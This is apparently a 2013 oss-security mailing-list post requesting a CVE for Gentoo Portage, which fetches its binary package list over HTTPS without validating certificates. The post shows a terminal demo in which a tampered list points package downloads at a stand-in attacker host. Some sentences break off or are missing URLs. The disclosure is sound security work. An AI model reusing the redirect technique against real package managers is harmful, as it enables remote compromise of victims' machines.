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Date: Wed, 15 May 2013 12:46:57 +0200
From: "Jason A. Donenfeld" <>
To: oss-security <>
Cc: Gentoo Security <>,
Subject: CVE Request: Man in the middle on Gentoo Portage binary package installer

Hi Kurt,

Portage is the package manager of Gentoo Linux. It supports many
features, one of which is the ability to synchronize against a remote
list of binary packages, and use that list to determine where to fetch
such binary packages. One of the fields in this list of packages is

    victim # curl -s -k | grep URI:
    URI: ftp://horrible.attacker.somewhere.on.the.internet/blah

    victim # emerge -1 portage-utils
    Calculating dependencies... done!

    >>> Emerging binary (1 of 1) app-portage/portage-utils-0.30 from gentoo
    --2013-05-15 12:33:32--
               => ‘/usr/portage/packages/app-portage/portage-utils-0.30.tbz2’
    Resolving horrible.attacker.somewhere.on.the.internet...

Over insecure connections, Portage provides the ability to use HTTPS
(in addition to SFTP and SSH), so that this remote list of binary
packages is not tampered with. This list of binary packages will be
downloaded in the background silently. Unfortunately, Portage does not
validate the SSL certificates, leaving this open to a trivial man in
the middle attack. An attacker could leverage this man in the middle
vector to remotely gain complete control over a victim's machine,
since Portage runs with essentially full permissions.

I reported this to the maintainer of Portage in Gentoo Bug #469888
[1], and it was fixed in commit b5969af9f5 [2].

Do note that while this commit solves the immediate problem with
fetching /Packages, as detailed above, there may be other additional
unconfirmed insecure uses of the vulnerable urlopen() function that
have not yet been analyzed or fixed.



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